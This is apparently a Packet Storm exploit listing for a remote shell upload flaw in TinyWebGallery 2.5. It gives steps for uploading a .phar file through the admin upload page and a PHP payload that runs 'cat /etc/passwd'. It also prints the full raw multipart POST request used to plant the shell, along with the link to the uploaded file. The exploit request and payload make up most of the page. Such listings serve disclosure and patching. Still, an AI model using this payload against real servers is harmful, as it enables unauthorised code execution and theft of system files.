exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TinyWebGallery 2.5 Shell Upload

TinyWebGallery 2.5 Shell Upload
Posted May 24, 2023
Authored by Mirabbas Agalarov

TinyWebGallery version 2.5 suffers from a remote shell upload vulnerability.

tags | exploit, remote, shell
SHA-256 | 843af9f8ac15605e751c3f42672d40e393faccdca39dd76e41acfca4f9ec1b21

TinyWebGallery 2.5 Shell Upload

Change Mirror Download
#Exploit Title: TinyWebGallery v2.5 - Remote Code Execution (RCE)
#Application: TinyWebGallery
#Version: v2.5
#Bugs: RCE
#Technology: PHP
#Vendor URL: http://www.tinywebgallery.com/
#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest
#Date of found: 07-05-2023
#Author: Mirabbas A─čalarov
#Tested on: Linux

2. Technical Details & POC
========================================
steps:

1. Go to upload image http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true
2. upload .phar file
payload: payload: <?php echo system("cat /etc/passwd"); ?>
3. go to file link


poc request:


POST /twg25/admin/index.php?action=upload&dir=&order=name&srt=yes&tview=no&sview=no&lang=en HTTP/1.1
Host: localhost
Content-Length: 2123
Cache-Control: max-age=0
sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53rZRhJinqaMm7Ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/twg25/admin/index.php?action=upload&sview=no&menu=true
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766k
Connection: close

------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="token"

b2ed5512107a625ef9d5688ced296c61
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="MAX_FILE_SIZE"

2097152
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="confirm"

true
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename="shell.phar"
Content-Type: application/octet-stream

<?php echo system("cat /etc/passwd"); ?>

------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="userfile[]"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="twgsize"

100000
------WebKitFormBoundary53rZRhJinqaMm7Ip
Content-Disposition: form-data; name="twgquality"

80
------WebKitFormBoundary53rZRhJinqaMm7Ip--





http://localhost/twg25/pictures/shell.phar

Login or Register to add favorites

File Archive:

June 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    18 Files
  • 2
    Jun 2nd
    13 Files
  • 3
    Jun 3rd
    0 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    0 Files
  • 7
    Jun 7th
    0 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    0 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close